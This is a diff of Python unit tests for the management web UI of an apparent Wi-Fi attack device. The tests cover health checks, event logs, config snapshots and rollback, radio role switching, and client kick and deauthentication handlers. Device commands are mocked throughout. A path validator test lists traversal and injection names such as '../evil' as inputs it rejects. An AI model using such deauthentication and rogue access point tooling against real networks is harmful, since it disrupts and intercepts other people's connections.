'pool_cleared': False,
'monitors_raised': []}):
server.health_check()
self.assertTrue(any(k == 'guard_fix' and 'autossidpool' in kw.get('msg', '')
for k, kw in events))
finally:
mk8_events.log_event = old_log
server.device_run = old_run
server._iface_up = old_iface
if old_ticks is None:
server._health.pop('ticks', None)
else:
server._health['ticks'] = old_ticks
def test_health_reports_events_and_counters(self):
import mk8_events
mk8_events.log_event('restart', msg='x')
status, h = server.h_health(None)
self.assertEqual(status, 200)
self.assertIn('events', h)
self.assertIn('boots', h['reliability'])
def test_boot_marker_detects_unexpected(self):
import mk8_events, tempfile, os
marker = tempfile.mktemp()
old = server.BOOT_MARKER
server.BOOT_MARKER = marker
try:
open(marker, 'w').write('0')
self.assertTrue(server.check_boot_marker())
os.unlink(marker)
self.assertFalse(server.check_boot_marker())
finally:
server.BOOT_MARKER = old
if __name__ == '__main__': if __name__ == '__main__':
unittest.main() unittest.main()
class HopBaselineTest(unittest.TestCase):
def setUp(self):
self.runs = []
self.old_run = server.device_run
self.old_iface = server._iface_up
server._iface_up = lambda name: True
def fake_run(args, timeout=20, input_data=None):
a = list(args)
self.runs.append(a)
if a[:2] == ['pidof', 'pineapd']:
return (0, '123\n', '')
if a[:3] == ['uci', 'get', 'pineapd.wlan1mon.hop']:
return (0, self.hop + '\n', '')
return (0, '', '')
server.device_run = fake_run
self.hop = '0'
def tearDown(self):
server.device_run = self.old_run
server._iface_up = self.old_iface
server._health['ticks'] = 0
def test_resume_called_when_not_held(self):
import unittest.mock as um
old_held = server._HOP_PAUSE_HELD
server._HOP_PAUSE_HELD = False
server._health['ticks'] = server.HEALTH_STA_PARK_INTERVAL - 1
try:
with mock.patch.object(server, '_sta_uplink_enabled',
return_value=False), \
mock.patch.object(server, '_raise_monitors',
return_value=[]), \
mock.patch('mk8_guard.reconcile',
return_value={'changed': [], 'pool_cleared': False,
'monitors_raised': []}):
server.health_check()
sets = [r for r in self.runs
if r[:3] == ['uci', 'set', 'pineapd.wlan1mon.hop=1']]
self.assertEqual(len(sets), 1)
finally:
server._HOP_PAUSE_HELD = old_held
def test_resume_skipped_while_pause_held(self):
old_held = server._HOP_PAUSE_HELD
server._HOP_PAUSE_HELD = True
server._health['ticks'] = server.HEALTH_STA_PARK_INTERVAL - 1
try:
with mock.patch.object(server, '_sta_uplink_enabled',
return_value=False), \
mock.patch.object(server, '_raise_monitors',
return_value=[]), \
mock.patch('mk8_guard.reconcile',
return_value={'changed': [], 'pool_cleared': False,
'monitors_raised': []}):
server.health_check()
sets = [r for r in self.runs
if r[:3] == ['uci', 'set', 'pineapd.wlan1mon.hop=1']]
self.assertEqual(len(sets), 0)
finally:
server._HOP_PAUSE_HELD = old_held
+90
View File
@@ -0,0 +1,90 @@
import json, os, sys, tempfile, unittest
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
import mk8_events
class EventsTest(unittest.TestCase):
def setUp(self):
self.dir = tempfile.mkdtemp()
self.old = mk8_events.MK8_DIR
mk8_events.MK8_DIR = self.dir
mk8_events.EVENTS_PATH = os.path.join(self.dir, 'events.log')
def tearDown(self):
mk8_events.MK8_DIR = self.old
mk8_events.EVENTS_PATH = os.path.join(self.old, 'events.log')
mk8_events.MAX_BYTES = 5 * 1024 * 1024
def test_log_and_read_newest_first(self):
mk8_events.log_event('boot', msg='first')
mk8_events.log_event('rollback', sev='warn', msg='second', meta={'op': 'wifi'})
rows = mk8_events.read_events()
self.assertEqual(rows[0]['kind'], 'rollback')
self.assertEqual(rows[1]['kind'], 'boot')
self.assertEqual(rows[0]['meta'], {'op': 'wifi'})
def test_counters(self):
mk8_events.log_event('boot'); mk8_events.log_event('rollback')
mk8_events.log_event('restart'); mk8_events.log_event('guard_fix')
c = mk8_events.counters()
self.assertEqual(c['boots'], 1)
self.assertEqual(c['rollbacks'], 1)
self.assertEqual(c['restarts'], 1)
self.assertEqual(c['guard_fixes'], 1)
def test_snapshot_bounded_and_counts(self):
# Deterministic window: 3 restarts (oldest, outside the scan window),
# then 40 ticks, then 1 boot LAST so the newest-first window of 30
# includes it.
for _ in range(3):
mk8_events.log_event('restart', msg='old')
for i in range(40):
mk8_events.log_event('tick', msg='t%d' % i)
mk8_events.log_event('boot', msg='final boot')
snap = mk8_events.snapshot(event_limit=5, scan=30)
self.assertLessEqual(len(snap['events']), 5)
ev = snap['events']
tss = [r.get('ts', 0) for r in ev]
self.assertEqual(tss, sorted(tss, reverse=True), 'must be newest-first')
self.assertEqual(ev[0]['kind'], 'boot')
rel = snap['reliability']
self.assertEqual(rel['boots'], 1,
'boot is inside the scanned window')
self.assertEqual(rel['restarts'], 0,
'counters must cover only the bounded window')
self.assertEqual(rel['unexpected_boots'], 0)
# Full-journal counters() stays available and unbounded for callers
# that want it.
self.assertEqual(mk8_events.counters()['restarts'], 3)
def test_snapshot_spans_rotation(self):
mk8_events.MAX_BYTES = 200
for i in range(8):
mk8_events.log_event('tick', msg='x' * 20)
if i == 3:
mk8_events.log_event('rollback', sev='warn', msg='mid')
rotated = [i for i in range(1, mk8_events.KEEP + 1)
if os.path.exists(mk8_events.EVENTS_PATH + '.%d' % i)]
self.assertGreaterEqual(len(rotated) + 1, 2,
'journal must actually rotate here')
snap = mk8_events.snapshot(event_limit=100, scan=1000)
# Snapshot must span every rotated generation read_events sees.
self.assertEqual(len(snap['events']),
len(mk8_events.read_events(limit=1000)))
tss = [r.get('ts', 0) for r in snap['events']]
self.assertEqual(tss, sorted(tss, reverse=True))
kinds = {r['kind'] for r in snap['events']}
self.assertEqual(kinds, {'tick', 'rollback'})
self.assertEqual(snap['reliability']['rollbacks'], 1)
def test_rotation_keeps_recent(self):
mk8_events.MAX_BYTES = 200
for i in range(20):
mk8_events.log_event('tick', msg='x' * 30)
rows = mk8_events.read_events()
self.assertGreater(len(rows), 0)
self.assertLessEqual(len(rows), 20)
self.assertTrue(os.path.exists(mk8_events.EVENTS_PATH + '.1'))
self.assertFalse(os.path.exists(mk8_events.EVENTS_PATH + '.5'))
if __name__ == '__main__':
unittest.main()
+73
View File
@@ -0,0 +1,73 @@
import os, sys, types, unittest
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
import mk8_gate
class DecisionTest(unittest.TestCase):
def tick(self, state):
action, new = mk8_gate.watchdog_decision(state)
return action, new
def test_no_action_below_fail_threshold(self):
action, s = self.tick({'fails': 5, 'oks': 0, 'tripped': False})
self.assertIsNone(action)
self.assertFalse(s['tripped'])
def test_rollback_at_threshold(self):
action, s = self.tick({'fails': 6, 'oks': 0, 'tripped': False})
self.assertEqual(action, 'rollback')
self.assertTrue(s['tripped'])
self.assertEqual(s['oks'], 0)
def test_promote_after_recovery(self):
action, s = self.tick({'fails': 6, 'oks': 6, 'tripped': True})
self.assertEqual(action, 'promote')
def test_no_promote_before_recovery_threshold(self):
action, s = self.tick({'fails': 6, 'oks': 5, 'tripped': True})
self.assertIsNone(action)
class EnterTest(unittest.TestCase):
def setUp(self):
self.addCleanup(setattr, mk8_gate, 'ENABLED', mk8_gate.ENABLED)
self.spawned = []
def _install_fake_profiles(self):
snaps = []
fake = types.ModuleType('mk8_profiles')
fake.auto_name = lambda op: 'pre-%s-42' % op
fake.snapshot = lambda name: (snaps.append(name), True)[1]
old = sys.modules.get('mk8_profiles')
sys.modules['mk8_profiles'] = fake
self.addCleanup(sys.modules.__setitem__, 'mk8_profiles', old)
return snaps
def _capture_popen(self):
cmds = []
old = mk8_gate.subprocess.Popen
mk8_gate.subprocess.Popen = lambda cmd, **kw: cmds.append(cmd)
self.addCleanup(setattr, mk8_gate.subprocess, 'Popen', old)
return cmds
def test_enter_disabled_is_noop(self):
mk8_gate.ENABLED = False
cmds = self._capture_popen()
snaps = self._install_fake_profiles()
self.assertIsNone(mk8_gate.enter('ap_change'))
self.assertEqual(snaps, [])
self.assertEqual(cmds, [])
def test_enter_enabled_snapshots_and_spawns(self):
mk8_gate.ENABLED = True
cmds = self._capture_popen()
snaps = self._install_fake_profiles()
name = mk8_gate.enter('attack_deploy')
self.assertEqual(name, 'pre-attack_deploy-42')
self.assertEqual(snaps, [name])
self.assertEqual(len(cmds), 1)
self.assertIn('setsid sh', cmds[0])
self.assertIn(name, cmds[0])
if __name__ == '__main__':
unittest.main()
+144
View File
@@ -0,0 +1,144 @@
import os, sys, unittest
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
import server
import mk8_guard
HOP_KEY = 'pineapd.wlan1mon.hop'
class GuardTest(unittest.TestCase):
def setUp(self):
self.calls = []
self.uci = {}
self.pool = 0
self.mon_up = {'wlan0mon': True, 'wlan1mon': True}
self.old_iface_up = server._iface_up
self.old_server_device_run = server.device_run
self.old_guard_device_run = mk8_guard.device_run
server._iface_up = lambda name: self.mon_up.get(name, True)
def fake_run(args, timeout=20, input_data=None):
a = list(args)
self.calls.append(a)
if a[:2] == ['uci', 'get']:
key = a[2]
if key == 'pineapd.@ssidpool[0].ssid':
return (0, ''.join('s%d\n' % i for i in range(self.pool)), '')
return (0, self.uci.get(key, '') + '\n', '')
if a[:2] == ['uci', 'set']:
k, _, v = a[2].partition('=')
self.uci[k] = v
if a[:2] == ['uci', 'delete']:
self.pool = 0
return (0, '', '')
mk8_guard.device_run = fake_run
server.device_run = fake_run
mk8_guard._GR_CACHE['data'] = None
def tearDown(self):
server._iface_up = self.old_iface_up
server.device_run = self.old_server_device_run
mk8_guard.device_run = self.old_guard_device_run
mk8_guard._GR_CACHE['data'] = None
def wanted_count(self):
# Safe set minus wlan1mon.hop (rfplan owns hop), plus WANTED_EXTRA.
return (len(server.PINEAPD_SAFE_UCI) - 1 +
len(mk8_guard.WANTED_EXTRA))
def test_applies_all_wanted_when_missing(self):
self.pool = 0
result = mk8_guard.reconcile(clear_pool=False)
sets = [c[2] for c in self.calls if c[:2] == ['uci', 'set']]
self.assertEqual(len(sets), self.wanted_count())
self.assertTrue(result['changed'])
self.assertNotIn(HOP_KEY, {c[2].partition('=')[0]
for c in self.calls
if c[:2] == ['uci', 'set']})
def test_wanted_excludes_hop(self):
wanted = mk8_guard._wanted()
self.assertNotIn(HOP_KEY, wanted)
self.assertEqual(len(wanted), self.wanted_count())
def test_clears_large_pool_only(self):
self.pool = 25
result = mk8_guard.reconcile(clear_pool=True)
self.assertTrue(result['pool_cleared'])
self.assertIn(['uci', 'delete', 'pineapd.@ssidpool[0].ssid'], self.calls)
def test_small_pool_untouched(self):
self.pool = 5
result = mk8_guard.reconcile(clear_pool=True)
self.assertFalse(result['pool_cleared'])
def test_report_ignores_hop_and_caches(self):
for key, value in mk8_guard._wanted().items():
self.uci[key] = value
self.uci[HOP_KEY] = '1' # attack-role baseline; must stay ignored
report = mk8_guard.guard_report()
self.assertTrue(report['in_sync'], report)
gets = [c[2] for c in self.calls if c[:2] == ['uci', 'get']]
self.assertNotIn(HOP_KEY, gets)
n_after_first = len(self.calls)
self.assertIs(mk8_guard.guard_report(), report)
self.assertEqual(len(self.calls), n_after_first,
'guard_report must serve from cache within TTL')
mk8_guard._GR_CACHE['t'] -= mk8_guard.GR_TTL_SECONDS * 2
mk8_guard.guard_report()
self.assertGreater(len(self.calls), n_after_first)
# reconcile mutates live state; it must invalidate the cached report.
mk8_guard.guard_report()
n_cached = len(self.calls)
mk8_guard.reconcile(clear_pool=False)
self.assertIsNone(mk8_guard._GR_CACHE['data'])
mk8_guard.guard_report()
self.assertGreater(len(self.calls), n_cached)
if __name__ == '__main__':
unittest.main()
class SectionRecreateTest(unittest.TestCase):
def setUp(self):
self.calls = []
self.uci = {}
self.old_server_run = server.device_run
self.old_iface = server._iface_up
server._iface_up = lambda name: True
def fake_run(args, timeout=20, input_data=None):
a = list(args)
self.calls.append(a)
if a[:3] == ['uci', '-q', 'show']:
return (1, '', '') # section missing
if a[:2] == ['uci', 'get']:
got = self.uci.get(a[2])
return (0, (got if got is not None else '') + '\n', '')
if a[:2] == ['uci', 'set']:
k, _, v = a[2].partition('=')
self.uci[k] = v
return (0, '', '')
def dual_run(args, timeout=20, input_data=None):
# install the same fake for server-side helpers
self.__dict__.setdefault('_srv', server)
return fake_run(args, timeout=timeout, input_data=input_data)
mk8_guard.device_run = fake_run
server.device_run = fake_run
def tearDown(self):
server.device_run = self.old_server_run
server._iface_up = self.old_iface
def test_recreates_missing_pineapd_section(self):
result = mk8_guard.reconcile(clear_pool=False)
self.assertIn(['uci', 'add', 'pineapd', 'pineapd'], self.calls)
self.assertTrue(any('section recreated' in c for c in result['changed']))
sets = [c for c in self.calls if c[:2] == ['uci', 'set']]
self.assertEqual(len(sets),
len(server.PINEAPD_SAFE_UCI) - 1
+ len(mk8_guard.WANTED_EXTRA))
if __name__ == '__main__':
unittest.main()
+84
View File
@@ -0,0 +1,84 @@
import os, sys, tempfile, unittest
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
import mk8_profiles
CONFIGS = ('pineapd', 'wireless', 'network')
class ProfilesTest(unittest.TestCase):
def setUp(self):
self.dir = tempfile.mkdtemp()
mk8_profiles.PROFILES_DIR = os.path.join(self.dir, 'profiles')
self.state = {'pineapd': 'config pineapd\n\toption x y\n',
'wireless': 'config wireless\n',
'network': 'config network\n'}
def fake_run(args, timeout=20, input_data=None):
a = list(args)
if a[:2] == ['uci', 'import']:
self.imports = getattr(self, 'imports', [])
self.imports.append((a[2], input_data))
return (0, '', '')
if a[:2] == ['uci', 'export']:
return (0, self.state.get(a[2], ''), '')
if a[:2] == ['uci', 'commit']:
return (0, '', '')
return (0, '', '')
self.runs = []
mk8_profiles.run_cmd = lambda args, timeout=20, input_data=None: (
self.runs.append(list(args)) or fake_run(args, timeout, input_data))
def test_snapshot_and_list(self):
self.assertTrue(mk8_profiles.snapshot('testprof'))
self.assertIn('testprof', mk8_profiles.list_profiles())
def test_restore_issues_import_per_config(self):
mk8_profiles.snapshot('p1')
ok = mk8_profiles.restore('p1')
self.assertTrue(ok['ok'])
imported = [r for r in self.runs if r[:2] == ['uci', 'import']]
self.assertEqual(len(imported), len(CONFIGS))
commits = [r for r in self.runs if r[:2] == ['uci', 'commit']]
self.assertGreaterEqual(len(commits), 1)
self.assertIn(('pineapd', 'config pineapd\n\toption x y\n'),
self.imports)
self.assertEqual(ok['restored'], list(CONFIGS))
def test_auto_name_format(self):
name = mk8_profiles.auto_name('client_connect')
self.assertTrue(name.startswith('pre-client_connect-'))
def test_promote_lastknown_good(self):
self.assertTrue(mk8_profiles.promote_lastknown_good())
self.assertIn(mk8_profiles.LASTKNOWN_GOOD,
mk8_profiles.list_profiles())
again = mk8_profiles.promote_lastknown_good()
self.assertTrue(again)
def test_snapshot_false_when_nothing_written(self):
self.state = {}
self.assertFalse(mk8_profiles.snapshot('empty'))
def test_path_rejects_traversal_and_bad_names(self):
for bad in ('../x', '..', 'a/b', '', 'a' * 65, './x', 'x/..',
'a b', 'a;b', None):
with self.assertRaises(ValueError):
mk8_profiles._path(bad)
def test_path_accepts_safe_names(self):
for good in ('p', 'pre-client_connect-123', 'lastknown-good',
'A.b-c_d', 'x' * 64, '0'):
path = mk8_profiles._path(good)
self.assertEqual(path, os.path.join(mk8_profiles.PROFILES_DIR,
good))
def test_snapshot_rejects_bad_name_without_side_effects(self):
with self.assertRaises(ValueError):
mk8_profiles.snapshot('../evil')
self.assertEqual(mk8_profiles.list_profiles(), [])
def test_list_profiles_skips_invalid_dirnames(self):
mk8_profiles.snapshot('good')
os.mkdir(os.path.join(mk8_profiles.PROFILES_DIR, 'bad name'))
self.assertEqual(mk8_profiles.list_profiles(), ['good'])
if __name__ == '__main__':
unittest.main()
+327
View File
@@ -0,0 +1,327 @@
import os, sys, unittest
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload',
'user', 'remote_access', 'pager-webui'))
import importlib
import server
import mk8_rfplan
def setUpModule():
importlib.reload(server)
class CtxStub(object):
def __init__(self, body=None):
self.body = body or {}
class RfPlanTest(unittest.TestCase):
def setUp(self):
self.runs = []
self.seq = []
self.paused = 0
self.resumed = 0
self.sleeps = []
self.uci_show = {}
self.gets = {}
self.iw_fail_left = 0
self._old = (server.device_run, server._pause_hop,
server._resume_hop, server._read_hop,
mk8_rfplan.time.sleep)
def fake_get(key):
if key == 'pineapd.wlan1mon.hop':
return 0, '0\n', ''
return self.gets.get(key, (1, '', 'entry not found'))
def fake_run(args, timeout=20, input_data=None):
args = list(args)
self.seq.append('cmd:' + ' '.join(str(a) for a in args))
self.runs.append((args, timeout))
if args == ['iw', 'dev']:
# interface enumeration: radio1 STA comes up as phy1-sta0
return 0, ('Interface wlan1mon\n'
'\ttype monitor\n'
'Interface phy1-sta0\n'
'\ttype managed\n'), ''
if args[0] == 'readlink' and 'phy80211' in args[1]:
return 0, '../../devices/platform/usb/phy1\n', ''
if args[0] == 'iw':
# iw dev <iface> link
if self.iw_fail_left > 0:
self.iw_fail_left -= 1
return 0, 'Not connected.\n', ''
return 0, ('Connected to aa:bb:cc:dd:ee:ff (on wlan1up)\n'
'\tSSID: Net\n'), ''
if args[:2] == ['uci', 'show']:
cfg = self.uci_show.get(args[2])
if cfg is None:
return 1, '', 'entry not found'
out = ''.join("%s.%s='%s'\n" % (args[2], k, v)
for k, v in sorted(cfg.items()))
return 0, out, ''
if args[0] == 'uci' and args[1] == '-q':
return fake_get(args[3])
if args[:2] == ['uci', 'get']:
return fake_get(args[2])
return 0, '', ''
def fake_pause():
self.paused += 1
self.seq.append('pause')
def fake_resume():
self.resumed += 1
self.seq.append('resume')
server.device_run = fake_run
server._pause_hop = fake_pause
server._resume_hop = fake_resume
server._read_hop = lambda: '0'
mk8_rfplan.time.sleep = lambda s: self.sleeps.append(s)
def tearDown(self):
(server.device_run, server._pause_hop,
server._resume_hop, server._read_hop,
mk8_rfplan.time.sleep) = self._old
@property
def cmds(self):
return [s[len('cmd:'):] for s in self.seq if s.startswith('cmd:')]
def mutations(self):
return [c for c in self.cmds
if c.startswith(('uci set', 'uci commit'))]
def test_current_role_reads_uci(self):
cases = [
({'mode': 'sta', 'disabled': '0'}, 'uplink'),
({'mode': 'sta', 'disabled': '1'}, 'idle'),
({'mode': 'ap'}, 'idle'),
({}, 'idle'),
]
for cfg, want in cases:
self.uci_show.clear()
self.uci_show['wireless.wlan1up'] = cfg
self.assertEqual(mk8_rfplan.current_role(), want, cfg)
self.uci_show.clear()
self.assertEqual(mk8_rfplan.current_role(), 'idle')
def test_uplink_sets_sta_section_and_pauses_hop(self):
result = mk8_rfplan.set_role('uplink', ssid='Net', psk='key')
self.assertTrue(result.get('ok'), result)
cmds = self.cmds
for expected in (
'uci set wireless.wlan1up=wifi-iface',
'uci set wireless.wlan1up.device=radio1',
'uci set wireless.wlan1up.mode=sta',
'uci set wireless.wlan1up.network=cli',
'uci set wireless.wlan1up.ssid=Net',
'uci set wireless.wlan1up.encryption=sae-mixed',
'uci set wireless.wlan1up.key=key',
'uci set wireless.wlan1up.disabled=0',
'uci set network.cli=interface',
'uci set network.cli.proto=dhcp',
'uci commit network'):
self.assertIn(expected, cmds)
commit_net = cmds.index('uci commit network')
commit_wireless = cmds.index('uci commit wireless')
for c in ('uci set wireless.wlan1up.mode=sta',
'uci set wireless.wlan1up.disabled=0',
'uci set network.cli=interface',
'uci set network.cli.proto=dhcp'):
self.assertLess(cmds.index(c), commit_net)
self.assertLess(commit_net, cmds.index('uci commit wireless'))
self.assertLess(commit_wireless, cmds.index('wifi reload'))
self.assertEqual(self.paused, 1)
self.assertLess(self.seq.index('pause'),
self.seq.index('cmd:wifi reload'))
self.assertEqual(result['assoc'], 'aa:bb:cc:dd:ee:ff')
def test_uplink_enables_present_but_disabled_cli_network(self):
self.gets['network.cli'] = (0, 'interface\n', '')
self.gets['network.cli.disabled'] = (0, '1\n', '')
result = mk8_rfplan.set_role('uplink', ssid='Net')
self.assertTrue(result.get('ok'), result)
cmds = self.cmds
self.assertIn('uci set network.cli.disabled=0', cmds)
self.assertIn('uci commit network', cmds)
self.assertNotIn('uci set network.cli=interface', cmds)
def test_assoc_poll_succeeds_on_third_attempt(self):
self.iw_fail_left = 2
result = mk8_rfplan.set_role('uplink', ssid='Net')
self.assertTrue(result.get('ok'), result)
self.assertEqual(result['assoc'], 'aa:bb:cc:dd:ee:ff')
self.assertEqual(len(self.sleeps), 3)
iw_calls = [c for c in self.cmds
if c.startswith('iw dev phy1-sta0 link')]
self.assertEqual(len(iw_calls), 3)
def test_assoc_poll_exhaustion_reverts_uplink(self):
self.iw_fail_left = 99
result = mk8_rfplan.set_role('uplink', ssid='Net')
self.assertFalse(result['ok'])
self.assertIn('association failed', result['error'])
self.assertEqual(len(self.sleeps), 5)
self.assertIn('uci set wireless.wlan1up.disabled=1', self.cmds)
self.assertEqual(self.resumed, 1)
# Revert must converge runtime like the idle branch: a wifi reload
# after the STA disable, with hop resumed only after the reload.
cmds = self.cmds
reloads = [i for i, c in enumerate(cmds) if c == 'wifi reload']
self.assertEqual(len(reloads), 2, cmds)
disable_set = cmds.index('uci set wireless.wlan1up.disabled=1')
last_commit = len(cmds) - 1 - cmds[::-1].index('uci commit wireless')
resume_idx = self.seq.index('resume')
self.assertLess(disable_set, last_commit)
self.assertLess(last_commit, reloads[-1])
self.assertLess(reloads[-1], resume_idx)
# cmds[i] maps 1:1 onto self.runs[i]; revert reload must be gated.
self.assertEqual(self.runs[reloads[-1]], (['wifi', 'reload'], 60))
def test_set_role_uplink_requires_ssid(self):
result = mk8_rfplan.set_role('uplink')
self.assertFalse(result['ok'])
self.assertIn('ssid', result['error'])
self.assertEqual(self.mutations(), [])
self.assertEqual(self.paused, 0)
def test_idle_reloads_so_sta_disassociates_now(self):
self.uci_show['wireless.wlan1up'] = {'mode': 'sta', 'disabled': '0'}
result = mk8_rfplan.set_role('idle')
self.assertTrue(result.get('ok'), result)
self.assertIn('uci set wireless.wlan1up.disabled=1', self.cmds)
self.assertIn('wifi reload', self.cmds)
self.assertEqual(self.resumed, 1)
def test_exclusivity_switch(self):
self.uci_show['wireless.wlan1up'] = {'mode': 'ap'}
mk8_rfplan.ensure_attack()
self.assertEqual(self.mutations(), [])
self.assertEqual(self.resumed, 0)
self.assertEqual(self.paused, 0)
self.uci_show['wireless.wlan1up'] = {'mode': 'sta', 'disabled': '0'}
mk8_rfplan.ensure_attack()
cmds = self.cmds
self.assertIn('uci set wireless.wlan1up.disabled=1', cmds)
self.assertIn('uci commit wireless', cmds)
self.assertEqual(self.resumed, 1)
def test_hop_paused_helper(self):
self.assertTrue(mk8_rfplan.hop_paused())
server._read_hop = lambda: None
self.assertFalse(mk8_rfplan.hop_paused())
server._read_hop = lambda: '1'
self.assertFalse(mk8_rfplan.hop_paused())
def test_h_rfplan_get_and_post(self):
self.uci_show['wireless.wlan1up'] = {'mode': 'sta', 'disabled': '0'}
status, data = server.h_rfplan_get(CtxStub())
self.assertEqual(status, 200)
self.assertEqual(data['role'], 'uplink')
self.assertEqual(data['assoc'], 'aa:bb:cc:dd:ee:ff')
self.assertTrue(data['hop_paused'])
status, data = server.h_rfplan_post(CtxStub({'role': 'nope'}))
self.assertEqual(status, 400)
status, data = server.h_rfplan_post(CtxStub({'role': 'idle'}))
self.assertEqual(status, 200)
self.assertEqual(data['role'], 'idle')
def test_ensure_attack_wired_into_attacks_deploy(self):
calls = []
def fake_set_role(role, ssid=None, psk=None):
calls.append(role)
return {'ok': True, 'role': role}
self._patch_rfplan(lambda: 'uplink', fake_set_role)
old_dep = server._deploy_wpa_open
old_state = server.update_pineap_state
server._deploy_wpa_open = lambda kind, body: {}
server.update_pineap_state = lambda *a, **kw: {}
try:
status, payload = server.h_attacks_deploy(
CtxStub({'kind': 'wpa'}))
finally:
self._unpatch_rfplan()
server._deploy_wpa_open = old_dep
server.update_pineap_state = old_state
self.assertEqual(status, 200)
self.assertEqual(calls, ['attack'])
def test_attacks_deploy_skips_switch_when_not_uplink(self):
calls = []
def fake_set_role(role, ssid=None, psk=None):
calls.append(role)
return {'ok': True}
self._patch_rfplan(lambda: 'idle', fake_set_role)
old_dep = server._deploy_wpa_open
old_state = server.update_pineap_state
server._deploy_wpa_open = lambda kind, body: {}
server.update_pineap_state = lambda *a, **kw: {}
try:
status, _ = server.h_attacks_deploy(CtxStub({'kind': 'wpa'}))
finally:
self._unpatch_rfplan()
server._deploy_wpa_open = old_dep
server.update_pineap_state = old_state
self.assertEqual(status, 200)
self.assertEqual(calls, [])
def test_ensure_attack_wired_into_radio1_ap_request(self):
calls = []
def fake_set_role(role, ssid=None, psk=None):
calls.append(role)
return {'ok': True, 'role': role}
self._patch_rfplan(lambda: 'uplink', fake_set_role)
try:
status, payload = server.h_pineap_wifi_set_ap(
CtxStub({'open': {'enabled': False, 'channel': 36}}))
finally:
self._unpatch_rfplan()
self.assertEqual(status, 200)
self.assertEqual(calls, ['attack'])
def _patch_rfplan(self, current_role, set_role):
self._rf_old = (mk8_rfplan.current_role, mk8_rfplan.set_role)
mk8_rfplan.current_role = current_role
mk8_rfplan.set_role = set_role
def _unpatch_rfplan(self):
mk8_rfplan.current_role, mk8_rfplan.set_role = self._rf_old
if __name__ == '__main__':
unittest.main()
class PskModeChainTest(RfPlanTest):
def test_chain_tries_next_mode_on_failure(self):
# first mode (sae-mixed) never associates; second (sae) does
self.iw_fail_left = 5 # fail all link polls of attempt 1
result = mk8_rfplan.set_role('uplink', ssid='Net', psk='secret')
self.assertTrue(result['ok'], result)
self.assertEqual(result['mode'], 'sae')
reloads = [c for c in self.cmds if c.startswith('wifi reload')]
self.assertEqual(len(reloads), 2)
def test_chain_exhaustion_reports_modes(self):
self.iw_fail_left = 99
result = mk8_rfplan.set_role('uplink', ssid='Net', psk='secret')
self.assertFalse(result['ok'])
self.assertEqual(result['tried_modes'],
['sae-mixed', 'sae', 'psk2'])
def test_first_mode_success_records_mode(self):
result = mk8_rfplan.set_role('uplink', ssid='Net', psk='secret')
self.assertTrue(result['ok'])
self.assertEqual(result['mode'], 'sae-mixed')
self.assertIn('uci set wireless.wlan1up.ieee80211w=1', self.cmds)
if __name__ == '__main__':
unittest.main()
+7 -3
View File
@@ -345,20 +345,24 @@ class GetApReconcileTest(unittest.TestCase):
404, {'error': 'not found'}) 404, {'error': 'not found'})
server.device_run = lambda args, timeout=20, input_data=None: ( server.device_run = lambda args, timeout=20, input_data=None: (
self.runs.append(list(args)) or (0, '', '')) self.runs.append(list(args)) or (0, '', ''))
self._real_exists = os.path.exists
def tearDown(self):
os.path.exists = self._real_exists
def test_missing_netdev_triggers_wifi_reload(self): def test_missing_netdev_triggers_wifi_reload(self):
server.os.path.exists = lambda p: False os.path.exists = lambda p: False
server.h_pineap_wifi_get_ap(ctx()) server.h_pineap_wifi_get_ap(ctx())
self.assertIn(['wifi', 'reload'], self.runs) self.assertIn(['wifi', 'reload'], self.runs)
def test_present_netdev_skips_reload(self): def test_present_netdev_skips_reload(self):
server.os.path.exists = lambda p: True os.path.exists = lambda p: True
server.h_pineap_wifi_get_ap(ctx()) server.h_pineap_wifi_get_ap(ctx())
self.assertNotIn(['wifi', 'reload'], self.runs) self.assertNotIn(['wifi', 'reload'], self.runs)
def test_disabled_section_skips_reload(self): def test_disabled_section_skips_reload(self):
self.uci['wlan1wpa']['disabled'] = '1' self.uci['wlan1wpa']['disabled'] = '1'
server.os.path.exists = lambda p: False os.path.exists = lambda p: False
server.h_pineap_wifi_get_ap(ctx()) server.h_pineap_wifi_get_ap(ctx())
self.assertNotIn(['wifi', 'reload'], self.runs) self.assertNotIn(['wifi', 'reload'], self.runs)
+2 -2
View File
@@ -55,7 +55,7 @@ class ClientsTest(unittest.TestCase):
server.h_client_kick(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})()) server.h_client_kick(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})())
self.assertIn([server.HAK5CMD, 'PINEAPPLE_DEVICE_FILTER_ADD', 'deny', '00:11:22:33:44:55'], calls) self.assertIn([server.HAK5CMD, 'PINEAPPLE_DEVICE_FILTER_ADD', 'deny', '00:11:22:33:44:55'], calls)
# The immediate deauth must use the full bssid/target/channel form. # The immediate deauth must use the full bssid/target/channel form.
self.assertTrue(any(c[:4] == [server.HAK5CMD, 'DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF', self.assertTrue(any(c[:4] == [server.HAK5CMD, 'PINEAPPLE_DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
'00:11:22:33:44:55'] and c[4] == '6' for c in calls)) '00:11:22:33:44:55'] and c[4] == '6' for c in calls))
def test_kick_not_associated_still_filters(self): def test_kick_not_associated_still_filters(self):
@@ -86,7 +86,7 @@ class ClientsTest(unittest.TestCase):
status, payload = server.h_deauth_client(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})()) status, payload = server.h_deauth_client(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})())
self.assertEqual(status, 200) self.assertEqual(status, 200)
# 5 GHz client -> wlan1mon inject, no _pineap pin needed. # 5 GHz client -> wlan1mon inject, no _pineap pin needed.
self.assertTrue(any(c[:4] == [server.HAK5CMD, 'DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF', self.assertTrue(any(c[:4] == [server.HAK5CMD, 'PINEAPPLE_DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
'00:11:22:33:44:55'] and c[4] == '149' for c in calls)) '00:11:22:33:44:55'] and c[4] == '149' for c in calls))
def test_deauth_client_not_associated_502(self): def test_deauth_client_not_associated_502(self):
+253
View File
@@ -0,0 +1,253 @@
import base64
import io
import json
import os
